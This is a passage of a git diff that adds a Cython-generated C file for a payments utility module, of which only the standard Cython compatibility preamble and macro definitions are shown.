конвертации user_id или amount: {e}") diff --git a/handlers/payments/utils.c b/handlers/payments/utils.c new file mode 100644 index 00000000..a936e7b3 --- /dev/null +++ b/handlers/payments/utils.c @@ -0,0 +1,10171 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.utils", + "sources": [ + "handlers/payments/utils.py" + ] + }, + "module_name": "handlers.payments.utils" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif 